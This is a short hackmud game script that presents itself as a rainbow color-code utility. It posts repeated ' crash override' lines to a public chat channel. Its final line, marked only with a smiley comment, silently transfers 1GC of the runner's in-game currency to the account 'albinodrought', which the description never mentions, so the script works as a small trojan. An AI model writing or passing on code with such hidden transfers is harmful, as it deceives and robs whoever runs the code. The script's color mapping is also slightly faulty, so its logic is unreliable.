Turns a number (0 <= i <= 52) into a hackmud-compatible color code.

hackmud_rainbow.js

/*
  Using color codes:
    `0message`
    `1message`
    `amessage`
    `Amessage`
    
  The game matches the following regex:
    `(?:([0-9])|([a-z])|([A-Z]))(.+?)`
*/

function(context, args) {
	function gcolor(i) {
		var max = 53; // exclusive
		
		if(i < 0) i = 0;
		i = i % max;
		
		var even = i % 2 == 0,
			o =  0,
			off = '';
		
		if(even) {
			// lowercase
			o = i / 2;
			off = 'a';
		} else {
			// uppercase
			o = (i - 1) / 2;
			off = 'A';
		}
		
		return String.fromCharCode(off.charCodeAt(0) + o);
	};
	
	var msg = "";
	
	var body = " `0crash override`\n";
	
	for(var i = 0; i < args.belly; i++) {
		var color = gcolor(i);
		msg += body.replace("0", color);
	}
	
	#s.chats.send({channel: "0000", msg: msg});
  #s.accts.xfer_gc_to({ to: "albinodrought", amount: "1GC" }); // :)
}